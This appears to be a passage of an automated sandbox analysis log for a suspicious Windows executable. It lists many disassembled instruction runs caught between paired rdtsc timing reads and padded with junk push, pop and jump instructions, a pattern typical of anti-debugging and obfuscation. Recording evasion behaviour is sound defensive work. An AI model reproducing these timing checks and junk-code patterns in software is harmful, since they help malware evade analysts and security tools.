Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 66BD75 second address: 66BD79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 66BD79 second address: 66BD7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 66BD7F second address: 66BD85 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 66BD85 second address: 66BD9B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000004h 0x0000000b nop 0x0000000c push eax 0x0000000d push edx 0x0000000e ja 00007F882CB47538h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 66BD9B second address: 66BDBC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F882D0EBF06h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 66BDBC second address: 66BDC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 66C168 second address: 66C16D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 66C4FD second address: 66C501 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 66C501 second address: 66C505 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 66C505 second address: 66C533 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 mov cx, D34Ah 0x0000000d lea eax, dword ptr [ebp+12486EC0h] 0x00000013 js 00007F882CB47545h 0x00000019 jmp 00007F882CB4753Fh 0x0000001e nop 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 pop eax 0x00000024 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 66C533 second address: 66C537 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 66C537 second address: 66C541 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 69F02D second address: 69F031 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 69F188 second address: 69F19C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F882CB47540h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 69F5E1 second address: 69F5E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 69F5E7 second address: 69F5FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 jmp 00007F882CB4753Ch 0x0000000c rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 64BA84 second address: 64BA98 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F882D0EBEF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jne 00007F882D0EBEFEh 0x00000010 push edx 0x00000011 pop edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6A6D77 second address: 6A6D7F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6A6D7F second address: 6A6D98 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F882D0EBF05h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6A5CFC second address: 6A5D00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6A5D00 second address: 6A5D31 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F882D0EBF09h 0x00000007 jmp 00007F882D0EBF04h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6A5D31 second address: 6A5D37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6A6506 second address: 6A651C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F882D0EBEF6h 0x0000000a pop eax 0x0000000b pushad 0x0000000c push edx 0x0000000d pop edx 0x0000000e jne 00007F882D0EBEF6h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6A6674 second address: 6A6678 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6A6678 second address: 6A6682 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6A6682 second address: 6A66AC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F882CB47541h 0x00000007 jmp 00007F882CB47545h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6A6AA1 second address: 6A6AA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 62D9B2 second address: 62D9B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 62D9B6 second address: 62D9D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F882D0EBF04h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 62D9D0 second address: 62D9EF instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F882CB4753Ch 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edi 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 jg 00007F882CB47536h 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 62D9EF second address: 62DA06 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F882D0EBF03h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6AE3B2 second address: 6AE3C2 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F882CB47536h 0x00000008 jc 00007F882CB47536h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6AE3C2 second address: 6AE3DA instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F882D0EBF03h 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6AE3DA second address: 6AE3F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c pushad 0x0000000d jmp 00007F882CB4753Fh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6AEB45 second address: 6AEB49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6AEB49 second address: 6AEB71 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007F882CB47548h 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 jg 00007F882CB47536h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6AECE3 second address: 6AECE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6AECE7 second address: 6AECEB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6AEFE4 second address: 6AF003 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F882D0EBEF6h 0x0000000a pushad 0x0000000b popad 0x0000000c jo 00007F882D0EBEF6h 0x00000012 popad 0x00000013 pop ebx 0x00000014 pushad 0x00000015 jo 00007F882D0EBEFEh 0x0000001b push eax 0x0000001c pop eax 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6AF003 second address: 6AF015 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 push edx 0x00000006 pop edx 0x00000007 pop edx 0x00000008 jl 00007F882CB4753Eh 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6AF015 second address: 6AF01D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6AF01D second address: 6AF021 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6AF2A1 second address: 6AF2DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F882D0EBF08h 0x00000009 popad 0x0000000a pushad 0x0000000b jmp 00007F882D0EBF09h 0x00000010 push edi 0x00000011 pop edi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6AF2DC second address: 6AF2F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F882CB47543h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6ADF8A second address: 6ADF8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6ADF8E second address: 6ADF92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6ADF92 second address: 6ADFA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6ADFA0 second address: 6ADFA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6B1BA6 second address: 6B1BC4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F882D0EBF09h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6B1D16 second address: 6B1D1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6B8BA2 second address: 6B8BAE instructions: 0x00000000 rdtsc 0x00000002 jo 00007F882D0EBEF6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6B8BAE second address: 6B8BBF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 ja 00007F882CB47536h 0x0000000d popad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6B82BF second address: 6B82CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnp 00007F882D0EBF0Bh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6B8891 second address: 6B889C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6BD115 second address: 6BD11B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6BD11B second address: 6BD11F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6BD11F second address: 6BD131 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F882D0EBEFEh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6BD131 second address: 6BD137 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6BD137 second address: 6BD140 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6BD140 second address: 6BD146 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6BD146 second address: 6BD14F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6BD2A0 second address: 6BD2A9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6BD2A9 second address: 6BD2BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a js 00007F882D0EBEF6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6BD2BB second address: 6BD2BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6BD2BF second address: 6BD2C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 66BF70 second address: 66C013 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F882CB47548h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jg 00007F882CB47538h 0x00000010 mov ebx, dword ptr [ebp+12486EBBh] 0x00000016 push 00000000h 0x00000018 push edx 0x00000019 call 00007F882CB47538h 0x0000001e pop edx 0x0000001f mov dword ptr [esp+04h], edx 0x00000023 add dword ptr [esp+04h], 0000001Ah 0x0000002b inc edx 0x0000002c push edx 0x0000002d ret 0x0000002e pop edx 0x0000002f ret 0x00000030 sub dword ptr [ebp+122D31F3h], ecx 0x00000036 mov ecx, dword ptr [ebp+122D34FCh] 0x0000003c mov dh, 34h 0x0000003e add eax, ebx 0x00000040 push 00000000h 0x00000042 push ebp 0x00000043 call 00007F882CB47538h 0x00000048 pop ebp 0x00000049 mov dword ptr [esp+04h], ebp 0x0000004d add dword ptr [esp+04h], 00000016h 0x00000055 inc ebp 0x00000056 push ebp 0x00000057 ret 0x00000058 pop ebp 0x00000059 ret 0x0000005a movzx ecx, dx 0x0000005d sub dword ptr [ebp+1246336Dh], ecx 0x00000063 nop 0x00000064 push eax 0x00000065 push edx 0x00000066 pushad 0x00000067 jmp 00007F882CB47544h 0x0000006c jne 00007F882CB47536h 0x00000072 popad 0x00000073 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 66C013 second address: 66C025 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F882D0EBEF8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 66C025 second address: 66C029 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6BD720 second address: 6BD724 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6BD724 second address: 6BD74D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jns 00007F882CB47536h 0x0000000d pop esi 0x0000000e popad 0x0000000f pushad 0x00000010 push eax 0x00000011 pushad 0x00000012 popad 0x00000013 pop eax 0x00000014 pushad 0x00000015 pushad 0x00000016 popad 0x00000017 jmp 00007F882CB47540h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6BD74D second address: 6BD753 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6BD8AD second address: 6BD8D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F882CB4753Fh 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F882CB47541h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6BFCB3 second address: 6BFCB7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6C3CB2 second address: 6C3CE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F882CB47547h 0x0000000d jnc 00007F882CB47536h 0x00000013 popad 0x00000014 pushad 0x00000015 jmp 00007F882CB4753Ch 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6C3E7F second address: 6C3E89 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F882D0EBEF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6C3E89 second address: 6C3E95 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F882CB47536h 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6C3E95 second address: 6C3EAF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F882D0EBEFEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jbe 00007F882D0EBF0Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6C4081 second address: 6C409E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F882CB47549h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6C409E second address: 6C40AF instructions: 0x00000000 rdtsc 0x00000002 js 00007F882D0EBEF8h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pushad 0x0000000b push edi 0x0000000c pop edi 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6C420A second address: 6C421F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F882CB47541h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6C439D second address: 6C43D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F882D0EBF04h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007F882D0EBEFEh 0x00000011 jnc 00007F882D0EBEF6h 0x00000017 push edx 0x00000018 pop edx 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F882D0EBEFBh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6C9C80 second address: 6C9C88 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6C9C88 second address: 6C9C8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6C9F46 second address: 6C9F7B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F882CB47547h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F882CB47547h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6CA232 second address: 6CA256 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jo 00007F882D0EBEF6h 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F882D0EBF08h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6CA503 second address: 6CA519 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F882CB47542h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6CAA71 second address: 6CAA77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6CB259 second address: 6CB284 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F882CB47544h 0x00000009 jmp 00007F882CB47543h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6D4B54 second address: 6D4B58 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6D4B58 second address: 6D4B72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007F882CB4753Eh 0x0000000c jp 00007F882CB47536h 0x00000012 pushad 0x00000013 popad 0x00000014 pop edx 0x00000015 push eax 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6D4B72 second address: 6D4B76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6D3D37 second address: 6D3D4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push esi 0x00000006 jmp 00007F882CB47541h 0x0000000b pop esi 0x0000000c rdtsc
